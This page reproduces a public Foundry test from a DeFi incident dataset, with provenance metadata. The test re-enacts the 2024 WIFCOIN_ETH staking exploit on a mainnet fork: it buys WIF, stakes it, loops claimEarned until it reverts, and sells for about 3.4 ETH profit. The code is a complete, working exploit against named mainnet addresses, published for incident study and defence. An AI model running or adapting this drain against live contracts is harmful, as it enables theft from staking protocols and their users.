Public reproduction file
src/test/2024-06/WIFCOIN_ETH_exp.sol
Public reproduction file for dataset entry WIFCOIN_ETH.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "../basetest.sol";4import "./../interface.sol";6// Profit : ~3.4 ETH7// Attacker: https://etherscan.io/address/0x394ba273315240510b61ca22ba152e3478a458928// Attack Contract: https://etherscan.io/address/0x93d4f6f84d242c7959f8d1f1917ddbc9fb925ada9// TX1 : https://etherscan.io/tx/0xda8f6a4bed7e5689a343d111632d37480c0316f1d20b732803c4bd482823e28410// TX2 : https://etherscan.io/tx/0x58424115c6576b19cfb78b0b7ff00e0c13daa06d259f2a67210c112731519e0912// GUY : https://x.com/ChainAegis/status/180255096297796413914interface WIFStaking is IERC20 {15 function stake(uint256 _stakingId, uint256 _amount) external;16 function claimEarned(uint256 _stakingId, uint256 _burnRate) external;17}19contract WIFCOIN_ETHExploit is BaseTestWithBalanceLog {20 WIFStaking WifStake = WIFStaking(0xA1cE40702E15d0417a6c74D0bAB96772F36F4E99);21 IERC20 Wif = IERC20(0xBFae33128ecF041856378b57adf0449181FFFDE7);23 Uni_Router_V2 router = Uni_Router_V2(payable(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)));24 uint256 ethFlashAmt = 0.3 ether;26 receive() external payable {}28 function setUp() public {29 vm.createSelectFork("mainnet", 20_103_189);30 Wif.approve(address(router), type(uint256).max);31 Wif.approve(address(WifStake), type(uint256).max);32 fundingToken = address(0);33 }35 function testExploit() public balanceLog {36 //Paths37 address[] memory buyPath = new address[](2);38 buyPath[0] = address(router.WETH()); // weth39 buyPath[1] = address(Wif); // token40 address[] memory sellPath = new address[](2);41 sellPath[0] = buyPath[1];42 sellPath[1] = buyPath[0];44 //set ethbal to 0.3 eth to buy tokens45 vm.deal(address(this), ethFlashAmt);46 router.swapExactETHForTokens{value: ethFlashAmt}(0, buyPath, address(this), block.timestamp);48 WifStake.stake(3, Wif.balanceOf(address(this)));49 while (true) {50 try WifStake.claimEarned(3, 10) {}51 catch {52 break;53 }54 }56 router.swapExactTokensForETH(Wif.balanceOf(address(this)), 0, sellPath, address(this), block.timestamp);58 //Remove initial flash eth to get actual ETH profit59 vm.deal(address(this), address(this).balance - ethFlashAmt);60 }61}Analysis
Dataset entry
Public Foundry test for “WIFCOIN_ETH” (2024-06-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-06/APEMAGA_exp.solSame month in the dataset · 66 lines
- src/test/2024-06/Bazaar_exp.solSame month in the dataset · 63 lines
- src/test/2024-06/Crb2_exp.solSame month in the dataset · 101 lines
- src/test/2024-06/Dyson_money_exp.solSame month in the dataset · 108 lines
- src/test/2024-06/INcufi_exp.solSame month in the dataset · 208 lines
- src/test/2024-06/JokInTheBox_exp.solSame month in the dataset · 70 lines
- src/test/2024-06/MineSTM_exp.solSame month in the dataset · 63 lines
- src/test/2024-06/NCD_exp.solSame month in the dataset · 112 lines
- src/test/2024-06/SteamSwap_exp.solSame month in the dataset · 77 lines
- src/test/2024-06/UwuLend_First_exp.solSame month in the dataset · 620 lines
- src/test/2024-06/Velocore_exp.solSame month in the dataset · 159 lines
- src/test/2024-06/Will_exp.solSame month in the dataset · 63 lines
- src/test/2024-06/YYS_exp.solSame month in the dataset · 79 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x394ba273315240510b61ca22ba152e3478a45892
- Attack Contract
0x93d4f6f84d242c7959f8d1f1917ddbc9fb925ada
- Explorer: https://etherscan.io/address/0x394ba273315240510b61ca22ba152e3478a45892
- Explorer: https://etherscan.io/address/0x93d4f6f84d242c7959f8d1f1917ddbc9fb925ada
- Explorer: https://etherscan.io/tx/0xda8f6a4bed7e5689a343d111632d37480c0316f1d20b732803c4bd482823e284
- Explorer: https://etherscan.io/tx/0x58424115c6576b19cfb78b0b7ff00e0c13daa06d259f2a67210c112731519e09
- Reference: https://x.com/ChainAegis/status/1802550962977964139
File record
- Name
- WIFCOIN_ETH
- Path
- src/test/2024-06/WIFCOIN_ETH_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 82c338ea891380a17ac3bd0e0c7f30b78b4e41b9
- Language
- Solidity
- Size
- 62 lines
- Date
- 2024-06-16
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-06/WIFCOIN_ETH_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 82c338ea891380a17ac3bd0e0c7f30b78b4e41b9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.